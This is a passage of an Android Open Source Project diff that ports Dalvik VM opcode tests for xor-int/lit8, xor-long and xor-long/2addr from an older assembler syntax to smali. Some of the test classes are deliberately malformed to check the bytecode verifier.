-.class public dot.junit.opcodes.xor_int_lit8.d.T_xor_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 3
-
-       xor-int/lit8 v1, v3, 8
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8.smali
new file mode 100644
index 0000000..f0e44a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 3
+
+       xor-int/lit8 v1, v3, 8
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_1.d
deleted file mode 100644
index fb345ea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_1.java
-.class public dot.junit.opcodes.xor_long.d.T_xor_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       xor-long v1, v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_1.smali
new file mode 100644
index 0000000..b3c8a79
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_1.java"
+.class  public Ldot/junit/opcodes/xor_long/d/T_xor_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long v1, v1, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_2.d
deleted file mode 100644
index 52f7815..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_2.java
-.class public dot.junit.opcodes.xor_long.d.T_xor_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DJ)J
-.limit regs 5
-
-       xor-long v1, v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_2.smali
new file mode 100644
index 0000000..3192949
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2.java"
+.class  public Ldot/junit/opcodes/xor_long/d/T_xor_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DJ)J
+.registers 5
+
+       xor-long v1, v1, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_3.d
deleted file mode 100644
index 2042970..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_3.java
-.class public dot.junit.opcodes.xor_long.d.T_xor_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       const/16 v3, 1234    
-       xor-long v1, v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_3.smali
new file mode 100644
index 0000000..3e034fa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_3.java"
+.class  public Ldot/junit/opcodes/xor_long/d/T_xor_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       const/16 v3, 1234    
+       xor-long v1, v1, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_4.d
deleted file mode 100644
index 28e9fff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_4.java
-.class public dot.junit.opcodes.xor_long.d.T_xor_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       const v3, 1234.0
-       xor-long v1, v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_4.smali
new file mode 100644
index 0000000..21fb779
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/xor_long/d/T_xor_long_4;
+.super Ljava/lang/Object;
+.source "T_xor_long_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 5
+
+    const p3, 0x449a4000    # 1234.0f
+
+    xor-long p1, p1, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_5.d
deleted file mode 100644
index a48545f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_5.java
-.class public dot.junit.opcodes.xor_long.d.T_xor_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       xor-long v1, v1, v0
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_5.smali
new file mode 100644
index 0000000..2512989
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_5.java"
+.class  public Ldot/junit/opcodes/xor_long/d/T_xor_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long v1, v1, v0
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_6.d
deleted file mode 100644
index 0e2c18f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_6.java
-.class public dot.junit.opcodes.xor_long.d.T_xor_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       xor-long v1, v1, v5
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_6.smali
new file mode 100644
index 0000000..0bad346
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_6.java"
+.class  public Ldot/junit/opcodes/xor_long/d/T_xor_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long v1, v1, v5
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1.d
deleted file mode 100644
index 7d84e33..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_2addr_1.java
-.class public dot.junit.opcodes.xor_long_2addr.d.T_xor_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       xor-long/2addr v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1.smali
new file mode 100644
index 0000000..73fe3a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long/2addr v1, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2.d
deleted file mode 100644
index 977ce09..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_2addr_2.java
-.class public dot.junit.opcodes.xor_long_2addr.d.T_xor_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DJ)J
-.limit regs 5
-
-       xor-long/2addr v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2.smali
new file mode 100644
index 0000000..97ed69e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DJ)J
+.registers 5
+
+       xor-long/2addr v1, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3.d
deleted file mode 100644
index d578efe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_2addr_3.java
-.class public dot.junit.opcodes.xor_long_2addr.d.T_xor_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       const/16 v3, 1234    
-       xor-long/2addr v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3.smali
new file mode 100644
index 0000000..bed2b84
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       const/16 v3, 1234    
+       xor-long/2addr v1, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_4.d
deleted file mode 100644
index 98c0cd8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_2addr_4.java
-.class public dot.junit.opcodes.xor_long_2addr.d.T_xor_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       const v3, 1234.0
-       xor-long/2addr v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_4.smali
new file mode 100644
index 0000000..26859ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_4;
+.super Ljava/lang/Object;
+.source "T_xor_long_2addr_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 5
+
+    const p3, 0x449a4000    # 1234.0f
+
+    xor-long/2addr p1, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5.d
deleted file mode 100644
index a69d6ca..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_2addr_5.java
-.class public dot.junit.opcodes.xor_long_2addr.d.T_xor_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       xor-long/2addr v1, v0
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5.smali
new file mode 100644
index 0000000..2df014b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long/2addr v1, v0
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6.d
deleted file mode 100644
index 2533783..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
